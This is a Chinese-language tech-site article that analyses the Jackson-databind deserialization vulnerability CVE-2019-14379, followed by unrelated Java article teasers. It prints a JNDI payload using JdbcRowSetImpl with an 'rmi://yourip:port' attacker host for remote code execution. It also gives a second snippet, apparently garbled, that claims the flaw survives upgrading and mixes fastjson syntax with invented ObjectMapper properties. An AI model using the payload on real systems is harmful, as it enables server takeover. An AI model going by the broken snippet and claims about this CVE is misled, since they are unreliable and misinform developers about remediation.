分析jackjson的安全漏洞CVE-2019-14379

分析Jackjson的安全漏洞CVE-2019-14379可以通过以下几个步骤:

1.了解CVE-2019-14379漏洞的背景和影响

CVE-2019-14379是一个由Jackson-databind 库的反序列化漏洞引发的安全问题。这种漏洞可以让攻击者远程执行任意代码,从而导致服务器遭到攻击、数据丢失或泄露。

2.检查自己的应用程序是否受到漏洞的影响

检查应用程序是否使用了旧版本的Jackson-databind 库,并确认应用程序是否接受带有不受信任数据的 JSON 输入。如果应用程序使用了受影响版本的库,并显示 JSON 输入,则该应用程序受到漏洞的影响。

3.确定解决方案

要解决这个问题,需要升级Jackson-databind 库至最新版本,这个漏洞已经在更高版本的Jackson-databind 库被修复。如果Jackson-databind 库升级到最新版本不可行,则通过验证JSON输入来减少应用程序的泄漏漏洞。

4.了解攻击者的行为

攻击者可以通过构造恶意的JSON输入来触发反序列化处理过程中的漏洞。为了防止攻击者成功利用此漏洞,重要属性应该明确标识,并且应该不接受来自不受信任的输入。为了降低攻击的风险,应该对 JSON 输入进行限制以防止一些恶意组合。

下面是一个利用要点1中被公开的漏洞复现产生远程代码执行的payload:

{
    "a": {
        "@class": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://yourip:port/someobj",
        "autoCommit": true
    }
}

同时,以下是应用了要点3中的升级仍然可以触发漏洞的例子:

String payload = "{\"@type\":\"com.fasterxml.jackson.databind.ObjectMapper\",\"monitoredOptions\":null,\"injectableValues\":null}";
ObjectMapper mapper = new ObjectMapper(new JsonFactory());
mapper.enableDefaultTyping();
mapper.readValue(payload, ObjectMapper.class);

以上是详细讲解分析Jackjson的安全漏洞CVE-2019-14379需要进行的操作和使用攻击方法的例子。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:分析jackjson的安全漏洞CVE-2019-14379 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • Centos7.3下Tomcat8的安装配置教程

    好的!下面是 “Centos7.3下Tomcat8的安装配置教程” 的完整攻略: 安装JDK8 在Centos7.3系统下,使用以下命令安装JDK8: yum install java-1.8.0-openjdk-devel 验证JDK8是否成功安装: java -version 安装Tomcat8 下载Tomcat8的压缩包: wget https://m…

    Java 2023年5月19日
    00
  • java中random的用法小结

    Java中Random的用法小结 Random类概述 Random类是Java中提供的随机数生成器类,可以生成伪随机数序列。 Random类的实例化构造函数有两种: public Random():默认构造函数,以当前时间戳为种子值来初始化随机数生成器。 public Random(long seed):指定种子值的构造函数,用于初始化随机数生成器。 Ran…

    Java 2023年5月26日
    00
  • JAVA 内部类详解及实例

    JAVA 内部类详解及实例 Java内部类可以看作是一种定义在另一个类内部的类。它们有访问外部类的所有成员的权限。Java内部类可以分为四种:成员内部类、局部内部类、匿名内部类和静态内部类。 成员内部类 成员内部类定义在外部类的内部,并且不是static类型的。成员内部类可以直接访问外部类的成员变量和方法,并且可以通过this关键字访问自己的成员变量和方法。…

    Java 2023年5月26日
    00
  • ActiveMQ简单入门(新手必看篇)

    ActiveMQ简单入门(新手必看篇) ActiveMQ是一个流行的开源消息队列系统,它具有高可用性、高性能、多语言支持等诸多优点,被广泛应用于分布式系统的消息通信场景中。本篇文章将详细讲解ActiveMQ的入门步骤,帮助新手快速上手使用。 安装ActiveMQ 首先需要在官网(http://activemq.apache.org/)上下载ActiveMQ二…

    Java 2023年6月15日
    00
  • Java Properties作为集合三个方法详解

    当我们使用Java进行编程时,经常需要使用配置文件来存储一些关键的配置信息,于是Java提供了一个名为Properties的类来处理这个问题。Properties是一个Map集合,其中的key和value都必须是字符串类型。下面将详细讲解Java Properties作为集合的三个常用方法:getProperty、setProperty和load。 getP…

    Java 2023年6月15日
    00
  • Java ArrayList深入源码层分析

    Java ArrayList深入源码层分析 简介 ArrayList 是 Java 中集合框架中最基础、最常用的一种数据结构,它基于数组实现,可以动态扩容,支持添加、删除、查找等操作。本文将对 ArrayList 的源码进行深入分析,讲解其内部实现原理。 类的继承关系 ArrayList 类位于 java.util 包下,继承于 AbstractList 类…

    Java 2023年5月26日
    00
  • 什么是Java垃圾收集器?

    什么是Java垃圾收集器? Java垃圾收集器是Java虚拟机(JVM)内存管理的重要组件之一。它负责自动化地释放在程序中不再使用的内存空间。 Java虚拟机的性能直接受垃圾收集器的影响,因为它负责回收内存空间并使可用空间保持在一个良好的状态。 Java垃圾收集器的分类 Java提供了多个垃圾收集器,它们在处理对象分配和回收方面有不同的策略和性能特点。 Ja…

    Java 2023年5月11日
    00
  • Java中的NullPointerException如何避免?

    Java中的NullPointerException(空指针异常)是一种常见的运行时异常,在处理对象时,如果操作了空对象,就有可能出现NullPointerException,导致程序崩溃。为了避免NullPointerException出现,我们需要注意以下几点: 1. 空指针判断 在操作可能会出现空指针异常的对象之前,要进行空指针判断以避免程序崩溃。可以…

    Java 2023年4月27日
    00
合作推广
合作推广
分享本页
返回顶部